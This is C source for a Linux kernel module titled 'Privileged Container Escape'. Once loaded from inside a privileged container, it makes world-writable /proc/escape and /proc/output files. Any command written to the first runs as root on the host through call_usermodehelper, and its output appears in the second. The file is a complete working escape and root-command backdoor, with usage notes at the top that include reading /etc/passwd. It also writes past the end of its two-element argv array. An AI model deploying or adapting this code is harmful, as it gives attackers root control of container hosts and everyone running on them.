/*
* Linux Privileged Container Escape
*
* After building, load with 'insmod escape.ko'
* Then 'echo "cat /etc/passwd" > /proc/escape' will execute
* 'cat /etc/passwd' as root and send the output to /proc/output
* Read /proc/output just like any normal file
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/proc_fs.h>
#include <linux/umh.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Xcellerator");
MODULE_DESCRIPTION("Privileged Container Escape");
MODULE_VERSION("0.01");
struct proc_dir_entry *proc_file_entry_escape;
struct proc_dir_entry *proc_file_entry_output;
char *argv[2];
char *envp[3];
char *cmd_output = NULL;
int cmd_output_len = 0;
/*
* Execute a process in userspace
*/
int handle_cmd(void)
{
int ret;
/*
* If, for some reason, we get called before a command is set, just return
*/
if(argv[0] == NULL)
return 0;
/*
* Execute the command stored in argv
*/
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return ret;
}
/*
* Grab the string written to /proc/escape, parse it, execute it in userland,
* redirecting output to /proc/output for saving
*/
ssize_t escape_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
int ret;
char *kbuf = NULL;
long error;
char *suffix = " > /proc/output";
/*
* Allocate a kernel buffer to read the command input into
*/
kbuf = kzalloc(len, GFP_KERNEL);
error = copy_from_user(kbuf, buf, len-1);
if(error)
return -1;
/*
* call_usermodehelper() requires an array of arguments (argv)
* We're executing /bin/sh -c 'COMMAND > /proc/output'
*/
argv[0] = "/bin/sh";
argv[1] = "-c";
argv[2] = kzalloc(len+16, GFP_KERNEL);
strncpy(argv[2], kbuf, len-1);
strcat(argv[2], suffix);
/*
* Execute the command stored in argv
*/
printk(KERN_DEBUG "escape: executing %s %s %s\n", argv[0], argv[1], argv[2]);
ret = handle_cmd();
/*
* Cleanup and return
*/
kfree(kbuf);
return len;
}
/*
* Take a buffer from userspace and copy it into the kernel buffer cmd_output
*/
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
long error;
/*
* If cmd_output is already allocated, free it so we can reallocate it with a new size
*/
if(cmd_output_len != 0)
kfree(cmd_output);
/*
* Allocate cmd_output with size len (from user)
*/
cmd_output = kzalloc(len, GFP_KERNEL);
/*
* Copy buffer from userspace into cmd_output
*/
error = copy_from_user(cmd_output, buf, len);
if(error)
return -1;
/*
* Update cmd_output_len to the size of the buffer from userspace
*/
cmd_output_len = len;
return len;
}
/*
* Copy the cmd_output buffer into the buf provided by userspace
*/
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
int ret;
char *kbuf = NULL;
long error;
static int finished = 0;
/*
* Allocate a new kernel buffer and copy into our new kernel buffer
* so we don't touch cmd_output unnecessarily
*/
kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
strncpy(kbuf, cmd_output, cmd_output_len);
/*
* Copy the kernel buffer back to userspace
* If we're done, then we return 0 to indicate the userland
* process to stop reading.
*/
if ( finished )
{
/*
* No more bytes to return, so tell userland we're done
* by returning 0
*/
finished = 0;
ret = 0;
goto out;
}
else
{
/*
* Copy the kernel buffer back to userspace and return the length
*/
finished = 1;
error = copy_to_user(buf, kbuf, cmd_output_len);
if(error)
return -1;
ret = cmd_output_len;
goto out;
}
/*
* All done - free the kernel buffer and return
*/
out:
kfree(kbuf);
return ret;
}
/*
* structs for the 2 procfs files we need
*/
static const struct file_operations proc_file_fops_escape = {
.owner = THIS_MODULE,
.write = escape_write,
};
static const struct file_operations proc_file_fops_output = {
.owner = THIS_MODULE,
.read = output_read,
.write = output_write,
};
/*
* LKM init function
*/
static int __init escape_init(void)
{
printk(KERN_INFO "escape: loaded\n");
/*
* create the proc entries
*/
proc_file_entry_escape = proc_create("escape", 0666, NULL, &proc_file_fops_escape);
proc_file_entry_output = proc_create("output", 0666, NULL, &proc_file_fops_output);
/*
* check for failures
*/
if( (proc_file_entry_escape == NULL) || (proc_file_entry_output == NULL) )
return -ENOMEM;
return 0;
}
/*
* LKM exit function
*/
static void __exit escape_exit(void)
{
/*
* Free the cmd_output buffer and delete the proc entries
*/
kfree(cmd_output);
remove_proc_entry("escape", NULL);
remove_proc_entry("output", NULL);
printk(KERN_INFO "escape: unloaded\n");
}
module_init(escape_init);
module_exit(escape_exit);